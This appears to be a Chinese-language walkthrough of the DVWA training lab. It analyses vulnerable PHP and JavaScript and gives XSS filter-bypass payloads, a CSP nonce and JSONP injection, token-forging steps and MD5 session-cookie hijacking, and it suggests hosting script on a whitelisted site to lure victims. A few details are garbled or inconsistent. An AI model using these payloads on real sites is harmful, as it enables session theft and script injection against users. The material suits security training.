这一行初始化一个空的字符串变量$html
,但在这个代码片段中,它并未被使用。if ($_SERVER['REQUEST_METHOD'] == "POST") { ... }
这一部分检查请求的方法是否为 POST。如果是 POST 请求,则执行大括号内的代码。if (!isset ($_SESSION['last_session_id_high'])) { ... }
这一部分检查$_SESSION['last_session_id_high']
是否被设置。如果没有被设置,它将把$_SESSION['last_session_id_high']
设置为 0。$_SESSION['last_session_id_high']++
将$_SESSION['last_session_id_high']
的值增加 1。这是一个常见的做法,用于生成一个唯一的会话 ID。$cookie_value = md5($_SESSION['last_session_id_high']);
将新生成的会话 ID 进行 MD5 哈希处理,并将结果赋值给$cookie_value
。MD5 是一种常见的哈希函数,用于将数据转换为固定长度的哈希值。setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
设置一个名为 "dvwaSession" 的 cookie,其值为$cookie_value
(即经过 MD5 哈希处理的会话 ID)。该 cookie 的有效期为一小时(3600 秒),并限定在 "/vulnerabilities/weak_id/" 路径下。其他参数保持默认值。
与之前的代码片段相比,这段代码的主要区别在于:
- 使用了一个名为
$_SESSION['last_session_id_high']
的会话变量,而不是$_SESSION['last_session_id']
。 - 对生成的会话 ID 进行 MD5 哈希处理,并存储哈希值而不是原始的会话 ID。
- cookie 的名称是 "dvwaSession",与之前的 "dvwaSession" 不同。
- cookie 的路径限定在 "/vulnerabilities/weak_id/" 下。
抓包后将Cookie进行md5解密,再构造Cookie进行md5加密,即可实现会话劫持
发送至Repeater并发包:
解密Cookie
构造Cookie并进行加密
由于$cookie_value以1为间隔递增,故可获得经md5加密后得到的Cookie
完成
DOM Based Cross Site Scripting (XSS)
DOM-based Cross Site Scripting (XSS) 是一种常见的网络攻击,它利用了 Web 应用程序中的漏洞,允许攻击者在受害者的浏览器中执行恶意脚本。与传统的跨站脚本攻击不同,DOM-based XSS 攻击不是通过提交恶意数据到服务器,而是通过操纵客户端的 Document Object Model (DOM) 来注入和执行恶意脚本。
DOM-based XSS 的工作原理是:当应用程序动态地构建和显示 HTML 内容时,如果没有正确地验证和转义用户输入,攻击者可以输入恶意的 JavaScript 代码片段,这些代码片段在客户端的浏览器上执行,从而窃取用户的敏感数据或执行其他恶意操作。
low
观察界面,当选择不同的标签时,URL栏中的default也会发生变化
default有可能是个传参点
使用xss代码
<script>alert(1)</script>
Medium
分析源码
array_key_exists() 函数检查某个数组中是否存在指定的键名,如果键名存在返回 true,键名不存在则返回 false。
stripos() 函数查找字符串在另一字符串中第一次出现的位置
返回值:返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE
省流:过滤了<script 标签
所以不可以用low的做法
尝试使用事件型
<img src=# onerror=alert(1)>
发现输入的值在select标签里面
故闭合标签
</select><img src=# onerror=alert(1)>
high
分析源码
这段代码做了以下几件事:
- 检查是否存在
default
参数在 GET 请求中,并且该参数的值不为空。这是通过array_key_exists("default", $_GET)
和!is_null($_GET['default'])
来实现的。 - 如果
default
参数存在并且不为空,代码会进入一个 switch 语句,检查default
参数的值是否在允许的语言列表中:法语、英语、德语和西班牙语。 - 如果
default
参数的值在允许的语言列表中,代码什么都不做(即“ok”)。 - 如果
default
参数的值不在允许的语言列表中,代码会使用header("location: ?default=English")
将用户重定向到英语页面,并使用exit
终止脚本的执行。
简而言之,这段代码的目的是确保页面的语言设置在法语、英语、德语或西班牙语之间。如果 URL 中的 default
参数不在这些语言中,用户将被重定向到英语页面。
用#绕过即可
#<script>alert(1)</script>
XSS(Reflected)
反射型XSS(Reflected)发生在当用户请求一个包含恶意脚本的URL时,该脚本将被注入到服务器的响应中,并被发送回用户的浏览器以执行。这种类型的XSS通常是由于应用程序没有对用户输入进行适当的验证和转义而导致的。反射型XSS的攻击过程包括:
- 攻击者构造一个包含恶意脚本的URL或表单提交。
- 受害者点击或提交该URL,将其发送到服务器。
- 服务器将恶意脚本作为响应的一部分返回给受害者的浏览器。
- 受害者的浏览器执行恶意脚本,可能导致敏感信息泄露、会话劫持或其他恶意行为。
low
分析源码
这个代码没什么好说的,没有防御功能
而且无论我们输入什么值,在页面中都会显示输入的信息,并且url的name传参值就是我们输入的值
对URL中的name传入 xss代码
<script>alert(789)</script>
Medium
分析源码
和low不同的是它屏蔽了 <script>
但这不是问题
<scr<script>ipt>alert(145)</script>
high
还是先分析源码
首先,代码中的 preg_replace
函数尝试匹配 <script>
标签,并将其替换为空字符串。然而,这种简单的正则表达式很容易被绕过。攻击者可以通过插入额外的字符或使用其他方法来规避这个过滤器。
其次,代码中没有对其他可能的恶意字符或标记进行过滤或转义。
使用事件型XSS代码
<img src=1 οnerrοr=alert(465)>
完成
Stored Cross Site Scripting (XSS)
low
分析代码
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
这段 PHP 代码主要用于处理用户的留言,并更新数据库。主要功能如下:
- 检查是否存在名为 "btnSign" 的 POST 请求。
- 获取用户输入的留言(mtxMessage)和姓名(txtName)。
- 对留言和姓名进行清理和转义,以防止 SQL 注入攻击。
- 执行 SQL 查询,将留言和姓名插入到 "guestbook" 数据库表中。
- 如果查询执行失败,则显示错误信息。
- 使用
mysqli_real_escape_string
对输入进行转义是一种防止 SQL 注入的方法,但该函数需要在已连接的数据库对象上调用。这里通过全局变量$GLOBALS["___mysqli_ston"]
来获取数据库对象,但并未看到该变量的初始化,可能导致未定义变量的错误。 - 如果
mysqli_real_escape_string
函数未正确设置或不可用,代码会触发错误。 - 在查询执行失败时,直接使用
die()
函数终止脚本并显示错误信息。这可能会暴露数据库的详细错误信息,从而帮助攻击者进行攻击。 mysql_close();
这行代码被注释掉了,如果取消注释,会尝试关闭与数据库的连接。但通常建议使用面向对象的数据库连接方式,而不是基于函数的连接方式。- 该代码未对用户输入进行严格的验证和过滤,可能导致安全问题。例如,如果用户输入包含恶意脚本或特殊字符,可能会被插入到数据库中并执行。
- 该代码未使用预处理语句或参数化查询来防止 SQL 注入攻击。虽然使用了
mysqli_real_escape_string
进行转义,但这不足以完全防止 SQL 注入攻击。 - 该代码未使用 PHP 的过滤函数对用户输入进行过滤,可能导致安全问题。例如,可以使用
filter_input()
函数来过滤用户输入。 - 该代码未对用户输入的长度进行检查,可能导致数据库插入操作失败或超出数据库字段的最大长度限制。
- 该代码未对用户输入的类型进行检查,可能导致安全问题。例如,如果用户输入了非预期的数据类型,可能会导致错误或安全问题。
输入xss代码
<script>alert(1)</script>
Medium
和low不一样的是<script>标签被过滤了
使用双写就可以了
<scri<script>pt>alert(1)</script>
high
分析源码
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
代码中的 preg_replace
函数尝试匹配 <script>
标签,并将其替换为空字符串,但没什么用
使用事件型
<img src=1 onerror=alert(1)>
Content Security Policy (CSP) Bypass
前言;
CSP Bypass(Content Security Policy Bypass)是指绕过Content Security Policy(CSP)的限制,让攻击者能够执行恶意代码或获取敏感数据。CSP是一种安全机制,用于防止跨站脚本攻击(XSS)和其他安全漏洞。
CSP Bypass的方法有很多种,包括但不限于:
绕过CSP报告:攻击者可以通过修改网页中的CSP报告,使其指向自己的服务器,从而绕过CSP的限制。
绕过CSP HTTP头:攻击者可以通过修改HTTP头,使其包含不同的CSP策略,从而绕过CSP的限制。
利用CSP的漏洞:CSP本身可能存在漏洞,攻击者可以利用这些漏洞来绕过CSP的限制。
利用CSP的策略:攻击者可以利用CSP的策略,例如"unsafe-inline"或"unsafe-eval",来绕过CSP的限制
low
分析源码
这段 PHP 代码主要用于设置 Content Security Policy (CSP) 并允许用户通过表单输入并执行外部脚本。CSP 是一种安全机制,用于防止跨站脚本攻击(XSS)。
在这段代码中,首先设置了一个 CSP 头部,它允许从特定的源(例如 self、pastebin.com、hastebin.com、http://www.toptal.com、code.jquery.com、https://ssl.google-analytics.com 和 https://digi.ninja)加载 JavaScript。
然后,它检查是否存在一个 POST 请求的 'include' 参数。如果存在,它将在 'body' 数组中添加一个 <script>
标签,其 src
属性设置为 POST 请求中的 'include' 参数的值。这样,用户可以通过表单输入 URL,然后这个 URL 将被用作 <script>
标签的源,从而加载并执行外部 JavaScript 代码。
最后,代码中包含了一些可能无法正常工作的脚本的 URL,这些脚本可能由于某些原因(例如服务器问题或 CSP 策略)而无法正常工作。
然而,这个代码存在一些问题。首先,直接允许用户通过 POST 请求输入并执行 JavaScript 代码是非常危险的,因为它可能会导致跨站脚本攻击(XSS)。即使 CSP 头部存在,它也不能完全防止 XSS 攻击,因为 CSP 主要用于防止恶意内容被加载和执行,而不是防止恶意内容被插入到页面中。
此外,CSP 的工作方式是检查请求的源是否在策略的允许列表中。如果允许列表中没有源,那么浏览器将不会加载或执行该脚本。因此,如果用户尝试加载一个不在允许列表中的脚本,浏览器将不会执行它,这可能会导致一些用户认为脚本没有按预期工作。
可以看到被信任的网站有:
https://pastebin.com、example.com、code.jquery.com、https://ssl.google-analytics.com。
所以我们把恶意代码保存在 https://pastebin.com 网站,然后把链接发送给需要攻击的用户,用户点击后,达到注入目的
alert(/123/)
Medium
分析源码
这段 PHP 代码的目的是测试用户的跨站脚本(XSS)攻击能力。它首先设置了一个 Content Security Policy (CSP) 头部,允许从同源('self')和内联脚本('unsafe-inline')加载脚本,并使用一个 nonce 来增加安全性。然后,它禁用了 XSS 保护,以便内联的 alert 框可以正常工作。
代码中的注释部分包含一个尝试插入一个 alert(1) 的脚本的示例,但是它被注释掉了,所以不会执行。
然后,代码检查是否存在一个 POST 请求的 'include' 参数。如果存在,它将该参数添加到 'body' 数组中,这意味着它将直接将用户输入的内容插入到页面中。
最后,代码包含一个表单,用户可以在其中输入要插入到页面的内容,并提交表单。如果用户能够输入并提交一个有效的脚本,它将在页面上执行,例如显示一个 alert 框。
其中:
unsafe-inline:允许使用内联资源,如内联 <script> 元素:javascript:URL,内联事件处理程序(如onclick)和内联 <style> 元素,必须包括单引号。
nonce-source:仅允许特定的内联脚本块, nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA="
所以可以直接输入以下代码:
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
high
分析源码
可以看到这次的代码与前两个难度完全不同
第一个代码
首先,它设置了一个 CSP 头部,只允许从同源加载脚本(script-src 'self'
)。这意味着,除非脚本来自与当前页面相同的源,否则浏览器将不会执行脚本。
然后,它检查是否存在一个 POST 请求的 'include' 参数。如果存在,它将该参数添加到 'body' 数组中,这意味着它将直接将用户输入的内容插入到页面的 body 部分。
在页面的 body 部分,有一个表单。这个表单会向 ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php
发起 POST 请求,以加载一些代码。注意这里的 DVWA_WEB_PAGE_TO_ROOT
是一个变量,它的值应该是一个指向 Web 根目录的路径。
页面上还有一个计算器按钮,用户可以点击它来计算 1+2+3+4+5 的和。这个计算结果会被插入到 id 为 "answer" 的 span 元素中。
最后,页面上包含了一个外部 JavaScript 文件 high.js
的链接。由于 CSP 的设置,浏览器将只允许从同源加载此脚本。如果尝试从其他源加载,浏览器将阻止它并显示一个错误消息。
第二个代码
function clickButton() {
- 定义一个名为 clickButton
的函数。
var s = document.createElement("script");
- 创建一个新的 <script>
元素并将其存储在变量 s
中。
s.src = "source/jsonp.php?callback=solveSum";
- 设置新 <script>
元素的 src
属性,使其指向一个外部的 JSONP 请求。JSONP (JSON with Padding) 是一种跨域数据传输技术,通过动态插入 <script>
标签来实现。这里的 callback=solveSum
意味着当外部脚本返回数据时,它将调用名为 solveSum
的函数。
document.body.appendChild(s);
- 将新创建的 <script>
元素添加到网页的 <body>
中,这样它就会开始加载并执行。
}
- 结束 clickButton
函数。
function solveSum(obj) {
- 定义一个名为 solveSum
的函数,该函数接受一个参数 obj
。
if ("answer" in obj) {
- 检查传入的 obj
是否包含一个名为 "answer" 的属性。
document.getElementById("answer").innerHTML = obj['answer'];
- 如果 "answer" 属性存在,则获取 ID 为 "answer" 的 HTML 元素,并将其内容设置为 obj['answer']
的值。
}
- 结束 if
语句。
}
- 结束 solveSum
函数。
var solve_button = document.getElementById ("solve");
- 获取 ID 为 "solve" 的 HTML 元素,并将其存储在变量 solve_button
中。
if (solve_button) {
- 检查是否成功获取到了 ID 为 "solve" 的元素。
solve_button.addEventListener("click", function() { clickButton(); });
- 如果获取成功,为该元素添加一个点击事件监听器,当点击发生时,执行 clickButton()
函数。
}
- 结束 if
语句。
简单来说,这段代码的主要功能是:当用户点击 ID 为 "solve" 的按钮时,它会动态地加载一个外部的 JSONP 脚本,并设置一个回调函数来更新网页上某个元素的内容。
注意到需要向 “source/jsonp.php” 传入 “callback” 参数,这个参数并没有进行任何过滤,因此我们可以通过这个参数进行注入。
include=<script src="source/jsonp.php?callback=alert('xss');"></script>
JavaScript Attacks
JavaScript 攻击通常是指利用 JavaScript 代码中的漏洞或错误来执行恶意操作,例如窃取用户数据、篡改网页内容或执行恶意脚本等。这些攻击通常包括以下几种:
跨站脚本攻击(XSS):攻击者通过在网页中注入恶意 JavaScript 代码,诱导用户点击或执行该代码,从而窃取用户数据或执行恶意操作。
跨站请求伪造(CSRF):攻击者通过伪造合法请求,诱骗用户执行恶意操作,例如更改密码、转账等。
点击劫持:攻击者通过在网页中插入透明的 iframe 或其他元素,诱导用户点击,从而执行恶意操作或窃取用户数据。
拖拽劫持:攻击者通过劫持用户的拖拽操作,诱导用户执行恶意操作或窃取用户数据。
会话劫持:攻击者通过窃取用户的会话信息,冒充用户进行恶意操作或窃取用户数据。
为了防止 JavaScript 攻击,前端开发者需要采取一些安全措施,例如:
对用户输入进行验证和清理,避免注入恶意代码。
使用内容安全策略(CSP)来限制网页中允许执行的脚本和加载的资源,避免恶意脚本的执行。
对敏感操作进行身份验证和授权,确保只有经过授权的用户才能执行这些操作。
使用安全的编程实践和工具,例如使用 HTTPS、避免使用不安全的协议等。
及时更新和维护前端代码和库,避免已知漏洞被利用。
low
<?php
$page[ 'body' ] .= <<<EOF
<script>
/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/
!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<<t|n>>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<<r%32,n[14+(r+64>>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e<n.length;e+=16)i=l,a=g,d=v,h=m,g=f(g=f(g=f(g=f(g=c(g=c(g=c(g=c(g=u(g=u(g=u(g=u(g=o(g=o(g=o(g=o(g,v=o(v,m=o(m,l=o(l,g,v,m,n[e],7,-680876936),g,v,n[e+1],12,-389564586),l,g,n[e+2],17,606105819),m,l,n[e+3],22,-1044525330),v=o(v,m=o(m,l=o(l,g,v,m,n[e+4],7,-176418897),g,v,n[e+5],12,1200080426),l,g,n[e+6],17,-1473231341),m,l,n[e+7],22,-45705983),v=o(v,m=o(m,l=o(l,g,v,m,n[e+8],7,1770035416),g,v,n[e+9],12,-1958414417),l,g,n[e+10],17,-42063),m,l,n[e+11],22,-1990404162),v=o(v,m=o(m,l=o(l,g,v,m,n[e+12],7,1804603682),g,v,n[e+13],12,-40341101),l,g,n[e+14],17,-1502002290),m,l,n[e+15],22,1236535329),v=u(v,m=u(m,l=u(l,g,v,m,n[e+1],5,-165796510),g,v,n[e+6],9,-1069501632),l,g,n[e+11],14,643717713),m,l,n[e],20,-373897302),v=u(v,m=u(m,l=u(l,g,v,m,n[e+5],5,-701558691),g,v,n[e+10],9,38016083),l,g,n[e+15],14,-660478335),m,l,n[e+4],20,-405537848),v=u(v,m=u(m,l=u(l,g,v,m,n[e+9],5,568446438),g,v,n[e+14],9,-1019803690),l,g,n[e+3],14,-187363961),m,l,n[e+8],20,1163531501),v=u(v,m=u(m,l=u(l,g,v,m,n[e+13],5,-1444681467),g,v,n[e+2],9,-51403784),l,g,n[e+7],14,1735328473),m,l,n[e+12],20,-1926607734),v=c(v,m=c(m,l=c(l,g,v,m,n[e+5],4,-378558),g,v,n[e+8],11,-2022574463),l,g,n[e+11],16,1839030562),m,l,n[e+14],23,-35309556),v=c(v,m=c(m,l=c(l,g,v,m,n[e+1],4,-1530992060),g,v,n[e+4],11,1272893353),l,g,n[e+7],16,-155497632),m,l,n[e+10],23,-1094730640),v=c(v,m=c(m,l=c(l,g,v,m,n[e+13],4,681279174),g,v,n[e],11,-358537222),l,g,n[e+3],16,-722521979),m,l,n[e+6],23,76029189),v=c(v,m=c(m,l=c(l,g,v,m,n[e+9],4,-640364487),g,v,n[e+12],11,-421815835),l,g,n[e+15],16,530742520),m,l,n[e+2],23,-995338651),v=f(v,m=f(m,l=f(l,g,v,m,n[e],6,-198630844),g,v,n[e+7],10,1126891415),l,g,n[e+14],15,-1416354905),m,l,n[e+5],21,-57434055),v=f(v,m=f(m,l=f(l,g,v,m,n[e+12],6,1700485571),g,v,n[e+3],10,-1894986606),l,g,n[e+10],15,-1051523),m,l,n[e+1],21,-2054922799),v=f(v,m=f(m,l=f(l,g,v,m,n[e+8],6,1873313359),g,v,n[e+15],10,-30611744),l,g,n[e+6],15,-1560198380),m,l,n[e+13],21,1309151649),v=f(v,m=f(m,l=f(l,g,v,m,n[e+4],6,-145523070),g,v,n[e+11],10,-1120210379),l,g,n[e+2],15,718787259),m,l,n[e+9],21,-343485551),l=t(l,i),g=t(g,a),v=t(v,d),m=t(m,h);return[l,g,v,m]}function a(n){var t,r="",e=32*n.length;for(t=0;t<e;t+=8)r+=String.fromCharCode(n[t>>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t<r.length;t+=1)r[t]=0;var e=8*n.length;for(t=0;t<e;t+=8)r[t>>5]|=(255&n.charCodeAt(t/8))<<t%32;return r}function h(n){return a(i(d(n),8*n.length))}function l(n,t){var r,e,o=d(n),u=[],c=[];for(u[15]=c[15]=void 0,o.length>16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r<n.length;r+=1)t=n.charCodeAt(r),e+="0123456789abcdef".charAt(t>>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}"function"==typeof define&&define.amd?define(function(){return A}):"object"==typeof module&&module.exports?module.exports=A:n.md5=A}(this);
function rot13(inp) {
return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
}
function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}
generate_token();
</script>
EOF;
?>
中间那一大团使用了 md5 加密生成了 token,和之前的源码不同在于这次 token 是在前端生成的。generate_token() 函数的作用是获取 “phrase” 参数中的值,将其的 rot13 加密的结果进行 md5 加密作为 token 的值。
按照提示直接注入“success”
网页显示 token 无效,说明我们不能够直接注入。
抓包看看
请求网页时同时提交了 token 和 phrase 参数,其中 phrase 参数是我们提交的内容。而 token 参数无论我们提交什么,都是不会变的,也就是说 token 和我们注入的参数并不会匹配。
所以根据源码审计的结果,token 的生成是基于 phrase 参数的,而现在该参数已经被我们覆盖了。因此现在我们重新拉取一下 token,在 Web 控制台运行 generate_token() 函数。
再次输入“success”
Medium
分析源码
第一个代码
这段 PHP 代码是将一个外部 JavaScript 文件 medium.js
的链接添加到 $page['body']
中。medium.js
文件的位置是通过 DVWA_WEB_PAGE_TO_ROOT
这个变量来确定的。这个变量应该是一个指向 Web 根目录的路径。
简单来说,这段代码的目的是在页面 body 的末尾动态地插入一个外部 JavaScript 文件的链接,以便在浏览器加载该页面时执行该 JavaScript 文件中的代码。
第二个代码
这段代码的主要功能是利用 do_something
函数对输入的字符串进行处理,并在处理后将其赋值给一个 HTML 元素的 value
属性。具体步骤如下:
-
do_something 函数:
- 参数
e
是一个字符串。 - 该函数通过一个
for
循环从字符串的最后一个字符开始,逐个将字符逆序添加到新的空字符串t
中。 - 最后,函数返回逆序后的字符串
t
。
- 参数
-
setTimeout 函数:
- 在300毫秒(0.3秒)后执行其回调函数。
- 回调函数中调用了
do_elsesomething
函数,并传入了字符串 "XX"。
-
do_elsesomething 函数:
- 参数
e
是 "XX"。 - 首先,将 "XX" 和当前页面中 id 为 "phrase" 的元素的
value
值拼接起来。 - 然后,将拼接后的字符串传给
do_something
函数进行处理。 - 处理后的字符串被赋值给 id 为 "token" 的元素的
value
属性。
- 参数
注入 “success” 之后抓包看看
现在的 token 是 “XXChangMeXX” 的反转
控制台运行下 do_elsesomething("XX") 函数,再次注入 “success” 即可
high
分析源码,但源码是一堆乱码
这绝不是正常人类可以看懂的
所以我们通过使用解码工具
http://deobfuscatejavascript.com/#
核心代码
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
function token_part_3(t, y = "ZZ") {
document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);
这段代码中包含了四个函数,以及一些与 HTML DOM 交互的代码。我将为您逐一分析这些函数和代码段:
-
do_something 函数:
- 输入参数
e
是一个字符串。 - 该函数通过一个
for
循环从字符串的最后一个字符开始,逐个将字符逆序添加到新的空字符串t
中。 - 最后,函数返回逆序后的字符串
t
。
- 输入参数
-
token_part_3 函数:
- 当调用这个函数时,它会将 id 为 "token" 的元素的
value
值更新为sha256(document.getElementById("token").value + "ZZ")
的结果。这里使用了sha256
函数来对值进行哈希处理,但需要注意的是,sha256
不是 JavaScript 内置的函数,可能是一个外部库提供的函数或者是自定义的。
- 当调用这个函数时,它会将 id 为 "token" 的元素的
-
token_part_2 函数:
- 当调用这个函数时,它会将 id 为 "token" 的元素的
value
值更新为sha256(e + document.getElementById("token").value)
的结果。与token_part_3
类似,这里也使用了sha256
函数来对值进行哈希处理。
- 当调用这个函数时,它会将 id 为 "token" 的元素的
-
token_part_1 函数:
- 当调用这个函数时,它会将 id 为 "token" 的元素的
value
值更新为do_something(document.getElementById("phrase").value)
的结果。这里调用了之前定义的do_something
函数来处理 "phrase" 元素的value
值。
- 当调用这个函数时,它会将 id 为 "token" 的元素的
-
HTML DOM 交互代码:
- 首先,id 为 "phrase" 的元素的
value
被设置为空字符串。 - 然后,设置了一个 setTimeout 回调函数,该函数在300毫秒后调用
token_part_2("XX")
。这意味着在页面加载后的0.3秒,id 为 "token" 的元素的value
会被更新。 - 最后,为 id 为 "send" 的元素添加了一个点击事件监听器,该监听器在点击时调用
token_part_3
函数。这意味着当用户点击该元素时,id 为 "token" 的元素的value
会被更新。 - 最后直接调用了
token_part_1("ABCD", 44)
函数,意味着 id 为 "token" 的元素的value
会被立即更新。
- 首先,id 为 "phrase" 的元素的
代码的运行顺序:
document.getElementById("phrase").value = "";
:首先,将 id 为 "phrase" 的元素的value
设置为空字符串。setTimeout(function() { token_part_2("XX") }, 300);
:然后,设置一个 setTimeout 回调函数,该函数在300毫秒后(即0.3秒后)调用token_part_2("XX")
函数。token_part_1("ABCD", 44);
:直接调用token_part_1("ABCD", 44)
函数。- 当用户点击 id 为 "send" 的元素时,会触发点击事件,并调用
token_part_3
函数。 - 根据
token_part_3
、token_part_2
和token_part_1
函数的定义,它们会更新 id 为 "token" 的元素的value
值。
和前 2 个等级差不多,依次执行 token_part_1("ABCD", 44) 和 token_part_2("XX"),最后点击提交执行 token_part_3()。
Authorisation Bypass
授权绕过(Authorization Bypass)是指在计算机系统中绕过正常的授权机制,未经授权就访问系统资源的行为。这通常涉及到利用系统漏洞、配置错误或安全策略的弱点,以非法方式获取对敏感数据、应用程序或系统的访问权限。
授权绕过的常见原因包括:
- 权限提升:某些情况下,攻击者可能已经获得了较低权限的账户,但需要更多权限来完全控制系统或获取敏感数据。通过授权绕过,攻击者可以提升自己的权限,从而执行更多恶意操作。
- 绕过身份验证:有时,即使攻击者能够执行某些操作,他们可能仍然需要绕过身份验证机制才能完全访问系统。例如,某些应用程序可能要求双重身份验证,而攻击者可能只想绕过这一安全措施。
- 检测和逃避机制:在某些情况下,安全系统(如防火墙、入侵检测系统等)可能会阻止未经授权的访问尝试。攻击者可能会寻找方法绕过这些检测和逃避机制,以避免被立即检测到。
授权绕过的常见方法包括:
- 利用配置错误:例如,某些系统或应用程序可能由于配置不当而暴露敏感信息或允许不受限制的访问。
- 利用已知漏洞:攻击者可能会利用已知的系统、应用程序或网络协议中的漏洞来绕过授权机制。
- 社会工程学:有时,攻击者可能通过欺骗用户提供敏感信息或执行特定操作来绕过授权。
- 利用权限提升漏洞:某些漏洞允许攻击者在已授权的用户账户上执行更高权限的操作。
- 利用管理界面:某些系统或应用程序可能提供管理界面,这些界面通常有更高的权限。攻击者可能会尝试利用这些界面绕过正常的授权机制。
为了防止授权绕过攻击,应该采取一系列安全措施,包括:
- 保持系统和应用程序更新:及时修补已知漏洞可以减少攻击者利用这些漏洞的机会。
- 实施最小权限原则:只授予用户和应用程序执行任务所需的最小权限。避免过度分配权限,这样可以减少潜在的损害。
- 强制定期更改密码:要求用户定期更改密码,并使用复杂和独特的密码。这可以减少未经授权访问的机会。
- 实施多因素身份验证:使用多因素身份验证可以增加攻击者绕过身份验证的难度。即使密码被泄露,没有额外的验证因素,攻击者仍然难以访问系统。
- 定期审查和监控系统活动:及时发现和调查可疑活动,有助于快速识别和应对潜在的授权绕过攻击。
- 限制物理和网络访问:限制对敏感系统和应用程序的物理和网络访问可以减少未经授权访问的机会。使用防火墙、入侵检测系统和其他安全控制措施来限制潜在的恶意活动。
- 教育和培训:提高员工对安全威胁的认识,培训他们识别和应对潜在的授权绕过攻击。教育他们了解常见的攻击向量和防范措施可以帮助减少组织面临的风险。
low
分析源码
<?php
/*
Nothing to see here for this vulnerability, have a look
instead at the dvwaHtmlEcho function in:
* dvwa/includes/dvwaPage.inc.php
*/
?>
即:非管理员用户没有“绕过授权”菜单选项
看题目
你的挑战是使用其他用户(例如gordonb/abc123)的凭据来访问这些功能
先使用所给的账号登录
尝试访问此目录的一种方法是使用不安全的直接对象引用 (IDOR) 漏洞:
如前所述,该目录仅供帐户访问。但是,如果尝试直接访问此目录,它应该可以
/vulnerabilities/authbypass/admingordonb
Medium
分析源码
<?php
/*
Only the admin user is allowed to access this page.
Have a look at these two files for possible vulnerabilities:
* vulnerabilities/authbypass/get_user_data.php
* vulnerabilities/authbypass/change_user_details.php
*/
